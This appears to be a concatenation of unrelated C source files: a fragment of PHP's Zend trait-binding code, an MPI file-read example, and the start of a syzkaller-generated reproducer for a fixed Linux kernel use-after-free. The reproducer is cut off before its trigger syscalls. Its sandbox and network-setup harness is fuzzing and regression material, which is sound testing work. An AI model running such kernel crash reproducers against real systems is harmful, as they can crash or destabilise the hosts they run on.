(cur_precedence->trait_method->ce == cur_precedence->exclude_from_classes[j].ce) { zend_error_noreturn(E_COMPILE_ERROR, "Inconsistent insteadof definition. " "The method %s is to be used from %s, but %s is also on the exclude list", ZSTR_VAL(cur_method_ref->method_name), ZSTR_VAL(cur_precedence->trait_method->ce->name), ZSTR_VAL(cur_precedence->trait_method->ce->name)); } zend_string_release(class_name); j++; } } i++; } ce->trait_precedences = precedences; } if (ce->trait_aliases) { i = 0; while (ce->trait_aliases[i]) { /** For all aliases with an explicit class name, resolve the class now. */ if (ce->trait_aliases[i]->trait_method->class_name) { cur_method_ref = ce->trait_aliases[i]->trait_method; if (!(cur_method_ref->ce = zend_fetch_class(cur_method_ref->class_name, ZEND_FETCH_CLASS_TRAIT|ZEND_FETCH_CLASS_NO_AUTOLOAD))) { zend_error_noreturn(E_COMPILE_ERROR, "Could not find trait %s", ZSTR_VAL(cur_method_ref->class_name)); } zend_check_trait_usage(ce, cur_method_ref->ce); /** And, ensure that the referenced method is resolvable, too. */ lcname = zend_string_tolower(cur_method_ref->method_name); method_exists = zend_hash_exists(&cur_method_ref->ce->function_table, lcname); zend_string_release(lcname); if (!method_exists) { zend_error_noreturn(E_COMPILE_ERROR, "An alias was defined for %s::%s but this method does not exist", ZSTR_VAL(cur_method_ref->ce->name), ZSTR_VAL(cur_method_ref->method_name)); } } i++; } } } /* }}} */ static void zend_traits_compile_exclude_table(HashTable* exclude_table, zend_trait_precedence **precedences, zend_class_entry *trait) /* {{{ */ { size_t i = 0, j; if (!precedences) { return; } while (precedences[i]) { if (precedences[i]->exclude_from_classes) { j = 0; while (precedences[i]->exclude_from_classes[j].ce) { if (precedences[i]->exclude_from_classes[j].ce == trait) { zend_string *lcname = zend_string_tolower(precedences[i]->trait_method->method_name); if (zend_hash_add_empty_element(exclude_table, lcname) == NULL) { zend_string_release(lcname); zend_error_noreturn(E_COMPILE_ERROR, "Failed to evaluate a trait precedence (%s). Method of trait %s was defined to be excluded multiple times", ZSTR_VAL(precedences[i]->trait_method->method_name), ZSTR_VAL(trait->name)); } zend_string_release(lcname); } ++j; } } ++i; } } /* }}} */ static void zend_do_traits_method_binding(zend_class_entry *ce) /* {{{ */ { uint32_t i; HashTable *overriden = NULL; zend_string *key; zend_function *fn; for (i = 0; i < ce->num_traits; i++) { if (ce->trait_precedences) { HashTable exclude_table; zend_trait_precedence **precedences; /* TODO: revisit this start size, may be its not optimal */ zend_hash_init_ex(&exclude_table, 8, NULL, NULL, 0, 0); precedences = ce->trait_precedences; ce->trait_precedences = NULL; zend_traits_compile_exclude_table(&exclude_table, precedences, ce->traits[i]); /* copies functions, applies defined aliasing, and excludes unused trait methods */ ZEND_HASH_FOREACH_STR_KEY_PTR(&ce->traits[i]->function_table, key, fn) { zend_traits_copy_functions(key, fn, ce, &overriden, &exclude_table); } ZEND_HASH_FOREACH_END(); zend_hash_destroy(&exclude_table); ce->trait_precedences = precedences; } else { ZEND_HASH_FOREACH_STR_KEY_PTR(&ce->traits[i]->function_table, key, fn) { zend_traits_copy_functions(key, fn, ce, &overriden, NULL); } ZEND_HASH_FOREACH_END(); } } ZEND_HASH_FOREACH_PTR(&ce->function_table, fn) { zend_fixup_trait_method(fn, ce); } ZEND_HASH_FOREACH_END(); if (ce->trait_precedences) { i = 0; while (ce->trait_precedences[i]) { if (ce->trait_precedences[i]->exclude_from_classes) { efree(ce->trait_precedences[i]->exclude_from_classes); ce->trait_precedences[i]->exclude_from_classes = NULL; } i++; } } if (overriden) { zend_hash_destroy(overriden); FREE_HASHTABLE(overriden); } } /* }}} */ static zend_class_entry* find_first_definition(zend_class_entry *ce, size_t current_trait, zend_string *prop_name, zend_class_entry *coliding_ce) /* {{{ */ { size_t i; if (coliding_ce == ce) { for (i = 0; i < current_trait; i++) { if (zend_hash_exists(&ce->traits[i]->properties_info, prop_name)) { return ce->traits[i]; } } } return coliding_ce; } /* }}} */ static void zend_do_traits_property_binding(zend_class_entry *ce) /* {{{ */ { size_t i; zend_property_info *property_info; zend_property_info *coliding_prop; zval compare_result; zend_string* prop_name; const char* class_name_unused; zend_bool not_compatible; zval* prop_value; uint32_t flags; zend_string *doc_comment; /* In the following steps the properties are inserted into the property table * for that, a very strict approach is applied: * - check for compatibility, if not compatible with any property in class -> fatal * - if compatible, then strict notice */ for (i = 0; i < ce->num_traits; i++) { ZEND_HASH_FOREACH_PTR(&ce->traits[i]->properties_info, property_info) { /* first get the unmangeld name if necessary, * then check whether the property is already there */ flags = property_info->flags; if (flags & ZEND_ACC_PUBLIC) { prop_name = zend_string_copy(property_info->name); } else { const char *pname; size_t pname_len; /* for private and protected we need to unmangle the names */ zend_unmangle_property_name_ex(property_info->name, &class_name_unused, &pname, &pname_len); prop_name = zend_string_init(pname, pname_len, 0); } /* next: check for conflicts with current class */ if ((coliding_prop = zend_hash_find_ptr(&ce->properties_info, prop_name)) != NULL) { if (coliding_prop->flags & ZEND_ACC_SHADOW) { zend_string_release(coliding_prop->name); if (coliding_prop->doc_comment) { zend_string_release(coliding_prop->doc_comment); } zend_hash_del(&ce->properties_info, prop_name); flags |= ZEND_ACC_CHANGED; } else { if ((coliding_prop->flags & (ZEND_ACC_PPP_MASK | ZEND_ACC_STATIC)) == (flags & (ZEND_ACC_PPP_MASK | ZEND_ACC_STATIC))) { /* flags are identical, now the value needs to be checked */ if (flags & ZEND_ACC_STATIC) { not_compatible = (FAILURE == compare_function(&compare_result, &ce->default_static_members_table[coliding_prop->offset], &ce->traits[i]->default_static_members_table[property_info->offset])) || (Z_LVAL(compare_result) != 0); } else { not_compatible = (FAILURE == compare_function(&compare_result, &ce->default_properties_table[OBJ_PROP_TO_NUM(coliding_prop->offset)], &ce->traits[i]->default_properties_table[OBJ_PROP_TO_NUM(property_info->offset)])) || (Z_LVAL(compare_result) != 0); } } else { /* the flags are not identical, thus, we assume properties are not compatible */ not_compatible = 1; } if (not_compatible) { zend_error_noreturn(E_COMPILE_ERROR, "%s and %s define the same property ($%s) in the composition of %s. However, the definition differs and is considered incompatible. Class was composed", ZSTR_VAL(find_first_definition(ce, i, prop_name, coliding_prop->ce)->name), ZSTR_VAL(property_info->ce->name), ZSTR_VAL(prop_name), ZSTR_VAL(ce->name)); } zend_string_release(prop_name); continue; } } /* property not found, so lets add it */ if (flags & ZEND_ACC_STATIC) { prop_value = &ce->traits[i]->default_static_members_table[property_info->offset]; } else { prop_value = &ce->traits[i]->default_properties_table[OBJ_PROP_TO_NUM(property_info->offset)]; } if (Z_REFCOUNTED_P(prop_value)) Z_ADDREF_P(prop_value); doc_comment = property_info->doc_comment ? zend_string_copy(property_info->doc_comment) : NULL; zend_declare_property_ex(ce, prop_name, prop_value, flags, doc_comment); zend_string_release(prop_name); } ZEND_HASH_FOREACH_END(); } } /* }}} */ static void zend_do_check_for_inconsistent_traits_aliasing(zend_class_entry *ce) /* {{{ */ { int i = 0; zend_trait_alias* cur_alias; zend_string* lc_method_name; if (ce->trait_aliases) { while (ce->trait_aliases[i]) { cur_alias = ce->trait_aliases[i]; /** The trait for this alias has not been resolved, this means, this alias was not applied. Abort with an error. */ if (!cur_alias->trait_method->ce) { if (cur_alias->alias) { /** Plain old inconsistency/typo/bug */ zend_error_noreturn(E_COMPILE_ERROR, "An alias (%s) was defined for method %s(), but this method does not exist", ZSTR_VAL(cur_alias->alias), ZSTR_VAL(cur_alias->trait_method->method_name)); } else { /** Here are two possible cases: 1) this is an attempt to modifiy the visibility of a method introduce as part of another alias. Since that seems to violate the DRY principle, we check against it and abort. 2) it is just a plain old inconsitency/typo/bug as in the case where alias is set. */ lc_method_name = zend_string_tolower( cur_alias->trait_method->method_name); if (zend_hash_exists(&ce->function_table, lc_method_name)) { zend_string_release(lc_method_name); zend_error_noreturn(E_COMPILE_ERROR, "The modifiers for the trait alias %s() need to be changed in the same statement in which the alias is defined. Error", ZSTR_VAL(cur_alias->trait_method->method_name)); } else { zend_string_release(lc_method_name); zend_error_noreturn(E_COMPILE_ERROR, "The modifiers of the trait method %s() are changed, but this method does not exist. Error", ZSTR_VAL(cur_alias->trait_method->method_name)); } } } i++; } } } /* }}} */ ZEND_API void zend_do_bind_traits(zend_class_entry *ce) /* {{{ */ { if (ce->num_traits <= 0) { return; } /* complete initialization of trait strutures in ce */ zend_traits_init_trait_structures(ce); /* first care about all methods to be flattened into the class */ zend_do_traits_method_binding(ce); /* Aliases which have not been applied indicate typos/bugs. */ zend_do_check_for_inconsistent_traits_aliasing(ce); /* then flatten the properties into it, to, mostly to notfiy developer about problems */ zend_do_traits_property_binding(ce); /* verify that all abstract methods from traits have been implemented */ zend_verify_abstract_class(ce); /* Emit E_DEPRECATED for PHP 4 constructors */ zend_check_deprecated_constructor(ce); /* now everything should be fine and an added ZEND_ACC_IMPLICIT_ABSTRACT_CLASS should be removed */ if (ce->ce_flags & ZEND_ACC_IMPLICIT_ABSTRACT_CLASS) { ce->ce_flags -= ZEND_ACC_IMPLICIT_ABSTRACT_CLASS; } } /* }}} */ static zend_bool zend_has_deprecated_constructor(const zend_class_entry *ce) /* {{{ */ { const zend_string *constructor_name; if (!ce->constructor) { return 0; } constructor_name = ce->constructor->common.function_name; return !zend_binary_strcasecmp( ZSTR_VAL(ce->name), ZSTR_LEN(ce->name), ZSTR_VAL(constructor_name), ZSTR_LEN(constructor_name) ); } /* }}} */ void zend_check_deprecated_constructor(const zend_class_entry *ce) /* {{{ */ { if (zend_has_deprecated_constructor(ce)) { zend_error(E_DEPRECATED, "Methods with the same name as their class will not be constructors in a future version of PHP; %s has a deprecated constructor", ZSTR_VAL(ce->name)); } } /* }}} */ /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * indent-tabs-mode: t * End: */
987313.c
/* noncontiguous access with a single collective I/O function */ #include "mpi.h" #define FILESIZE 1048576 #define INTS_PER_BLK 16 int main (int argc, char **argv) { int *buf, rank, size, nints, bufsize; MPI_File fh ; MPI_Datatype filetype; MPI_Init(&argc, &argv); MPI_Comm_rank(MPI_COMM_WORLD, &rank); MPI_Comm_size(MPI_COMM_WORLD, &size); bufsize = FILESIZE/size; buf = (int *) malloc(bufsize); nints = bufsize/sizeof(int); MPI_File_open(MPI_COMM_WORLD, "datafile", MPI_MODE_RDONLY, MPI_INFO_NULL, &fh); MPI_Type_vector(nints/INTS_PER_BLK, INTS_PER_BLK, INTS_PER_BLK*size, MPI_INT, &filetype); MPI_Type_commit(&filetype); MPI_File_set_view(fh, INTS_PER_BLK*sizeof(int)*rank, MPI_INT, filetype, "native", MPI_INFO_NULL); MPI_File_read_all(fh, buf, nints, MPI_INT, MPI_STATUS_IGNORE); MPI_File_close(&fh); MPI_Type_free(&filetype); free(buf); MPI_Finalize(); return 0 ; }
849166.c
// KASAN: use-after-free Read in perf_trace_lock_acquire (2) // https://syzkaller.appspot.com/bug?id=247a5fa16b0c71424d2447c4190e2d60062cbaaf // status:fixed // autogenerated by syzkaller (http://github.com/google/syzkaller) #define _GNU_SOURCE #include <arpa/inet.h> #include <dirent.h> #include <endian.h> #include <errno.h> #include <errno.h> #include <errno.h> #include <fcntl.h> #include <fcntl.h> #include <linux/capability.h> #include <linux/futex.h> #include <linux/if.h> #include <linux/if_ether.h> #include <linux/if_tun.h> #include <linux/ip.h> #include <linux/net.h> #include <linux/tcp.h> #include <net/if_arp.h> #include <netinet/in.h> #include <pthread.h> #include <sched.h> #include <signal.h> #include <signal.h> #include <stdarg.h> #include <stdarg.h> #include <stdarg.h> #include <stdbool.h> #include <stdbool.h> #include <stdio.h> #include <stdio.h> #include <stdio.h> #include <stdlib.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/mount.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/prctl.h> #include <sys/resource.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/time.h> #include <sys/time.h> #include <sys/uio.h> #include <sys/wait.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> __attribute__((noreturn)) static void doexit(int status) { volatile unsigned i; syscall(__NR_exit_group, status); for (i = 0;; i++) { } } #include <errno.h> #include <stdarg.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> const int kFailStatus = 67; const int kRetryStatus = 69; static void fail(const char* msg, ...) { int e = errno; va_list args; va_start(args, msg); vfprintf(stderr, msg, args); va_end(args); fprintf(stderr, " (errno %d)\n", e); doexit((e == ENOMEM || e == EAGAIN) ? kRetryStatus : kFailStatus); } static void exitf(const char* msg, ...) { int e = errno; va_list args; va_start(args, msg); vfprintf(stderr, msg, args); va_end(args); fprintf(stderr, " (errno %d)\n", e); doexit(kRetryStatus); } #define BITMASK_LEN(type, bf_len) (type)((1ull << (bf_len)) - 1) #define BITMASK_LEN_OFF(type, bf_off, bf_len) \ (type)(BITMASK_LEN(type, (bf_len)) << (bf_off)) #define STORE_BY_BITMASK(type, addr, val, bf_off, bf_len) \ if ((bf_off) == 0 && (bf_len) == 0) { \ *(type*)(addr) = (type)(val); \ } else { \ type new_val = *(type*)(addr); \ new_val &= ~BITMASK_LEN_OFF(type, (bf_off), (bf_len)); \ new_val |= ((type)(val)&BITMASK_LEN(type, (bf_len))) << (bf_off); \ *(type*)(addr) = new_val; \ } static uint64_t current_time_ms() { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) fail("clock_gettime failed"); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void use_temporary_dir() { char tmpdir_template[] = "./syzkaller.XXXXXX"; char* tmpdir = mkdtemp(tmpdir_template); if (!tmpdir) fail("failed to mkdtemp"); if (chmod(tmpdir, 0777)) fail("failed to chmod"); if (chdir(tmpdir)) fail("failed to chdir"); } static void vsnprintf_check(char* str, size_t size, const char* format, va_list args) { int rv; rv = vsnprintf(str, size, format, args); if (rv < 0) fail("tun: snprintf failed"); if ((size_t)rv >= size) fail("tun: string '%s...' doesn't fit into buffer", str); } static void snprintf_check(char* str, size_t size, const char* format, ...) { va_list args; va_start(args, format); vsnprintf_check(str, size, format, args); va_end(args); } #define COMMAND_MAX_LEN 128 #define PATH_PREFIX \ "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin " #define PATH_PREFIX_LEN (sizeof(PATH_PREFIX) - 1) static void execute_command(bool panic, const char* format, ...) { va_list args; char command[PATH_PREFIX_LEN + COMMAND_MAX_LEN]; int rv; va_start(args, format); memcpy(command, PATH_PREFIX, PATH_PREFIX_LEN); vsnprintf_check(command + PATH_PREFIX_LEN, COMMAND_MAX_LEN, format, args); rv = system(command); if (panic && rv != 0) fail("tun: command \"%s\" failed with code %d", &command[0], rv); va_end(args); } static int tunfd = -1; static int tun_frags_enabled; #define SYZ_TUN_MAX_PACKET_SIZE 1000 #define MAX_PIDS 32 #define ADDR_MAX_LEN 32 #define LOCAL_MAC "aa:aa:aa:aa:%02hx:aa" #define REMOTE_MAC "aa:aa:aa:aa:%02hx:bb" #define LOCAL_IPV4 "172.20.%d.170" #define REMOTE_IPV4 "172.20.%d.187" #define LOCAL_IPV6 "fe80::%02hx:aa" #define REMOTE_IPV6 "fe80::%02hx:bb" #define IFF_NAPI 0x0010 #define IFF_NAPI_FRAGS 0x0020 static void initialize_tun(int id) { if (id >= MAX_PIDS) fail("tun: no more than %d executors", MAX_PIDS); tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK); if (tunfd == -1) { printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n"); printf("otherwise fuzzing or reproducing might not work as intended\n"); return; } char iface[IFNAMSIZ]; snprintf_check(iface, sizeof(iface), "syz%d", id); struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_flags = IFF_TAP | IFF_NO_PI | IFF_NAPI | IFF_NAPI_FRAGS; if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) { ifr.ifr_flags = IFF_TAP | IFF_NO_PI; if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) fail("tun: ioctl(TUNSETIFF) failed"); } if (ioctl(tunfd, TUNGETIFF, (void*)&ifr) < 0) fail("tun: ioctl(TUNGETIFF) failed"); tun_frags_enabled = (ifr.ifr_flags & IFF_NAPI_FRAGS) != 0; char local_mac[ADDR_MAX_LEN]; snprintf_check(local_mac, sizeof(local_mac), LOCAL_MAC, id); char remote_mac[ADDR_MAX_LEN]; snprintf_check(remote_mac, sizeof(remote_mac), REMOTE_MAC, id); char local_ipv4[ADDR_MAX_LEN]; snprintf_check(local_ipv4, sizeof(local_ipv4), LOCAL_IPV4, id); char remote_ipv4[ADDR_MAX_LEN]; snprintf_check(remote_ipv4, sizeof(remote_ipv4), REMOTE_IPV4, id); char local_ipv6[ADDR_MAX_LEN]; snprintf_check(local_ipv6, sizeof(local_ipv6), LOCAL_IPV6, id); char remote_ipv6[ADDR_MAX_LEN]; snprintf_check(remote_ipv6, sizeof(remote_ipv6), REMOTE_IPV6, id); execute_command(1, "sysctl -w net.ipv6.conf.%s.accept_dad=0", iface); execute_command(1, "sysctl -w net.ipv6.conf.%s.router_solicitations=0", iface); execute_command(1, "ip link set dev %s address %s", iface, local_mac); execute_command(1, "ip addr add %s/24 dev %s", local_ipv4, iface); execute_command(1, "ip -6 addr add %s/120 dev %s", local_ipv6, iface); execute_command(1, "ip neigh add %s lladdr %s dev %s nud permanent", remote_ipv4, remote_mac, iface); execute_command(1, "ip -6 neigh add %s lladdr %s dev %s nud permanent", remote_ipv6, remote_mac, iface); execute_command(1, "ip link set dev %s up", iface); } #define DEV_IPV4 "172.20.%d.%d" #define DEV_IPV6 "fe80::%02hx:%02hx" #define DEV_MAC "aa:aa:aa:aa:%02hx:%02hx" static void initialize_netdevices(int id) { unsigned i; const char* devtypes[] = {"ip6gretap", "bridge", "vcan"}; const char* devnames[] = {"lo", "sit0", "bridge0", "vcan0", "tunl0", "gre0", "gretap0", "ip_vti0", "ip6_vti0", "ip6tnl0", "ip6gre0", "ip6gretap0", "erspan0"}; for (i = 0; i < sizeof(devtypes) / (sizeof(devtypes[0])); i++) execute_command(0, "ip link add dev %s0 type %s", devtypes[i], devtypes[i]); for (i = 0; i < sizeof(devnames) / (sizeof(devnames[0])); i++) { char addr[ADDR_MAX_LEN]; snprintf_check(addr, sizeof(addr), DEV_IPV4, id, id + 10); execute_command(0, "ip -4 addr add %s/24 dev %s", addr, devnames[i]); snprintf_check(addr, sizeof(addr), DEV_IPV6, id, id + 10); execute_command(0, "ip -6 addr add %s/120 dev %s", addr, devnames[i]); snprintf_check(addr, sizeof(addr), DEV_MAC, id, id + 10); execute_command(0, "ip link set dev %s address %s", devnames[i], addr); execute_command(0, "ip link set dev %s up", devnames[i]); } } static void setup_tun(uint64_t pid, bool enable_tun) { if (enable_tun) { initialize_tun(pid); initialize_netdevices(pid); } } static int read_tun(char* data, int size) { if (tunfd < 0) return -1; int rv = read(tunfd, data, size); if (rv < 0) { if (errno == EAGAIN) return -1; if (errno == EBADFD) return -1; fail("tun: read failed with %d", rv); } return rv; } static void flush_tun() { char data[SYZ_TUN_MAX_PACKET_SIZE]; while (read_tun(&data[0], sizeof(data)) != -1) ; } static void loop(); static void sandbox_common() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); setsid(); struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = 128 << 20; setrlimit(RLIMIT_AS, &rlim); rlim.rlim_cur = rlim.rlim_max = 8 << 20; setrlimit(RLIMIT_MEMLOCK, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20; setrlimit(RLIMIT_FSIZE, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20; setrlimit(RLIMIT_STACK, &rlim); rlim.rlim_cur = rlim.rlim_max = 0; setrlimit(RLIMIT_CORE, &rlim); #define CLONE_NEWCGROUP 0x02000000 if (unshare(CLONE_NEWNS)) { } if (unshare(CLONE_NEWIPC)) { } if (unshare(CLONE_NEWCGROUP)) { } if (unshare(CLONE_NEWUTS)) { } if (unshare(CLONE_SYSVSEM)) { } } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true; } static int real_uid; static int real_gid; __attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20]; static int namespace_sandbox_proc(void* arg) { sandbox_common(); write_file("/proc/self/setgroups", "deny"); if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) fail("write of /proc/self/uid_map failed"); if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) fail("write of /proc/self/gid_map failed"); if (unshare(CLONE_NEWNET)) fail("unshare(CLONE_NEWNET)"); setup_tun((long)arg >> 1, (long)arg & 1); if (mkdir("./syz-tmp", 0777)) fail("mkdir(syz-tmp) failed"); if (mount("", "./syz-tmp", "tmpfs", 0, NULL)) fail("mount(tmpfs) failed"); if (mkdir("./syz-tmp/newroot", 0777)) fail("mkdir failed"); if (mkdir("./syz-tmp/newroot/dev", 0700)) fail("mkdir failed"); unsigned mount_flags = MS_BIND | MS_REC | MS_PRIVATE; if (mount("/dev", "./syz-tmp/newroot/dev", NULL, mount_flags, NULL)) fail("mount(dev) failed"); if (mkdir("./syz-tmp/newroot/proc", 0700)) fail("mkdir failed"); if (mount(NULL, "./syz-tmp/newroot/proc", "proc", 0, NULL)) fail("mount(proc) failed"); if (mkdir("./syz-tmp/newroot/selinux", 0700)) fail("mkdir failed"); const char* selinux_path = "./syz-tmp/newroot/selinux"; if (mount("/selinux", selinux_path, NULL, mount_flags, NULL) && mount("/sys/fs/selinux", selinux_path, NULL, mount_flags, NULL)) fail("mount(selinuxfs) failed"); if (mkdir("./syz-tmp/pivot", 0777)) fail("mkdir failed"); if (syscall(SYS_pivot_root, "./syz-tmp", "./syz-tmp/pivot")) { if (chdir("./syz-tmp")) fail("chdir failed"); } else { if (chdir("/")) fail("chdir failed"); if (umount2("./pivot", MNT_DETACH)) fail("umount failed"); } if (chroot("./newroot")) fail("chroot failed"); if (chdir("/")) fail("chdir failed"); struct __user_cap_header_struct cap_hdr = {}; struct __user_cap_data_struct cap_data[2] = {}; cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; cap_hdr.pid = getpid(); if (syscall(SYS_capget, &cap_hdr, &cap_data)) fail("capget failed"); cap_data[0].effective &= ~(1 << CAP_SYS_PTRACE); cap_data[0].permitted &= ~(1 << CAP_SYS_PTRACE); cap_data[0].inheritable &= ~(1 << CAP_SYS_PTRACE); if (syscall(SYS_capset, &cap_hdr, &cap_data)) fail("capset failed"); loop(); doexit(1); } static int do_sandbox_namespace(int executor_pid, bool enable_tun) { int pid; real_uid = getuid(); real_gid = getgid(); mprotect(sandbox_stack, 4096, PROT_NONE); void* arg = (void*)(long)((executor_pid << 1) | enable_tun); pid = clone(namespace_sandbox_proc, &sandbox_stack[sizeof(sandbox_stack) - 64], CLONE_NEWUSER | CLONE_NEWPID, arg); if (pid < 0) fail("sandbox clone failed"); return pid; } struct ipt_getinfo { char name[32]; unsigned int valid_hooks; unsigned int hook_entry[5]; unsigned int underflow[5]; unsigned int num_entries; unsigned int size; }; struct ipt_get_entries { char name[32]; unsigned int size; void* entrytable[1024 / sizeof(void*)]; }; struct xt_counters { uint64_t pcnt, bcnt; }; struct ipt_replace { char name[32]; unsigned int valid_hooks; unsigned int num_entries; unsigned int size; unsigned int hook_entry[5]; unsigned int underflow[5]; unsigned int num_counters; struct xt_counters* counters; char entrytable[1024]; }; struct ipt_table_desc { const char* name; struct ipt_getinfo info; struct ipt_get_entries entries; struct ipt_replace replace; struct xt_counters counters[10]; }; static struct ipt_table_desc ipv4_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "mangle"}, {.name = "raw"}, {.name = "security"}, }; #define IPT_BASE_CTL 64 #define IPT_SO_SET_REPLACE (IPT_BASE_CTL) #define IPT_SO_GET_INFO (IPT_BASE_CTL) #define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1) static void checkpoint_net_namespace(void) { socklen_t optlen; unsigned i; int fd; fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) fail("socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)"); for (i = 0; i < sizeof(ipv4_tables) / sizeof(ipv4_tables[0]); i++) { struct ipt_table_desc* table = &ipv4_tables[i]; strcpy(table->info.name, table->name); strcpy(table->entries.name, table->name); strcpy(table->replace.name, table->name); optlen = sizeof(table->info); if (getsockopt(fd, SOL_IP, IPT_SO_GET_INFO, &table->info, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } fail("getsockopt(IPT_SO_GET_INFO)"); } if (table->info.size > sizeof(table->entries.entrytable)) fail("table size is too large: %u", table->info.size); if (table->info.num_entries > sizeof(table->counters) / sizeof(table->counters[0])) fail("too many counters: %u", table->info.num_entries); table->entries.size = table->info.size; optlen = sizeof(table->entries) - sizeof(table->entries.entrytable) + table->info.size; if (getsockopt(fd, SOL_IP, IPT_SO_GET_ENTRIES, &table->entries, &optlen)) fail("getsockopt(IPT_SO_GET_ENTRIES)"); table->replace.valid_hooks = table->info.valid_hooks; table->replace.num_entries = table->info.num_entries; table->replace.counters = table->counters; table->replace.size = table->info.size; memcpy(table->replace.hook_entry, table->info.hook_entry, sizeof(table->replace.hook_entry)); memcpy(table->replace.underflow, table->info.underflow, sizeof(table->replace.underflow)); memcpy(table->replace.entrytable, table->entries.entrytable, table->info.size); } close(fd); } static void reset_net_namespace(void) { struct ipt_get_entries entries; struct ipt_getinfo info; socklen_t optlen; unsigned i; int fd; memset(&info, 0, sizeof(info)); memset(&entries, 0, sizeof(entries)); fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) fail("socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)"); for (i = 0; i < sizeof(ipv4_tables) / sizeof(ipv4_tables[0]); i++) { struct ipt_table_desc* table = &ipv4_tables[i]; if (table->info.valid_hooks == 0) continue; strcpy(info.name, table->name); optlen = sizeof(info); if (getsockopt(fd, SOL_IP, IPT_SO_GET_INFO, &info, &optlen)) fail("getsockopt(IPT_SO_GET_INFO)"); if (memcmp(&table->info, &info, sizeof(table->info)) == 0) { strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size; if (getsockopt(fd, SOL_IP, IPT_SO_GET_ENTRIES, &entries, &optlen)) fail("getsockopt(IPT_SO_GET_ENTRIES)"); if (memcmp(&table->entries, &entries, optlen) == 0) continue; } table->replace.num_counters = info.num_entries; optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) + table->replace.size; if (setsockopt(fd, SOL_IP, IPT_SO_SET_REPLACE, &table->replace, optlen)) fail("setsockopt(IPT_SO_SET_REPLACE)"); } close(fd); } static void remove_dir(const char* dir) { DIR* dp; struct dirent* ep; int iter = 0; retry: dp = opendir(dir); if (dp == NULL) { if (errno == EMFILE) { exitf("opendir(%s) failed due to NOFILE, exiting", dir); } exitf("opendir(%s) failed", dir); } while ((ep = readdir(dp))) { if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0) continue; char filename[FILENAME_MAX]; snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name); struct stat st; if (lstat(filename, &st)) exitf("lstat(%s) failed", filename); if (S_ISDIR(st.st_mode)) { remove_dir(filename); continue; } int i; for (i = 0;; i++) { if (unlink(filename) == 0) break; if (errno == EROFS) { break; } if (errno != EBUSY || i > 100) exitf("unlink(%s) failed", filename); if (umount2(filename, MNT_DETACH)) exitf("umount(%s) failed", filename); } } closedir(dp); int i; for (i = 0;; i++) { if (rmdir(dir) == 0) break; if (i < 100) { if (errno == EROFS) { break; } if (errno == EBUSY) { if (umount2(dir, MNT_DETACH)) exitf("umount(%s) failed", dir); continue; } if (errno == ENOTEMPTY) { if (iter < 100) { iter++; goto retry; } } } exitf("rmdir(%s) failed", dir); } } static void test(); void loop() { int iter; checkpoint_net_namespace(); for (iter = 0;; iter++) { char cwdbuf[256]; sprintf(cwdbuf, "./%d", iter); if (mkdir(cwdbuf, 0777)) fail("failed to mkdir"); int pid = fork(); if (pid < 0) fail("loop fork failed"); if (pid == 0) { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); if (chdir(cwdbuf)) fail("failed to chdir"); flush_tun(); test(); doexit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { int res = waitpid(-1, &status, __WALL | WNOHANG); if (res == pid) break; usleep(1000); if (current_time_ms() - start > 5 * 1000) { kill(-pid, SIGKILL); kill(pid, SIGKILL); while (waitpid(-1, &status, __WALL) != pid) { } break; } } remove_dir(cwdbuf); reset_net_namespace(); } } struct thread_t { int created, running, call; pthread_t th; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static int collide; static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); __atomic_store_n(&th->running, 0, __ATOMIC_RELEASE); syscall(SYS_futex, &th->running, FUTEX_WAKE); } return 0; } static void execute(int num_calls) { int call, thread; running = 0; for (call = 0; call < num_calls; call++) { for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) { struct thread_t* th 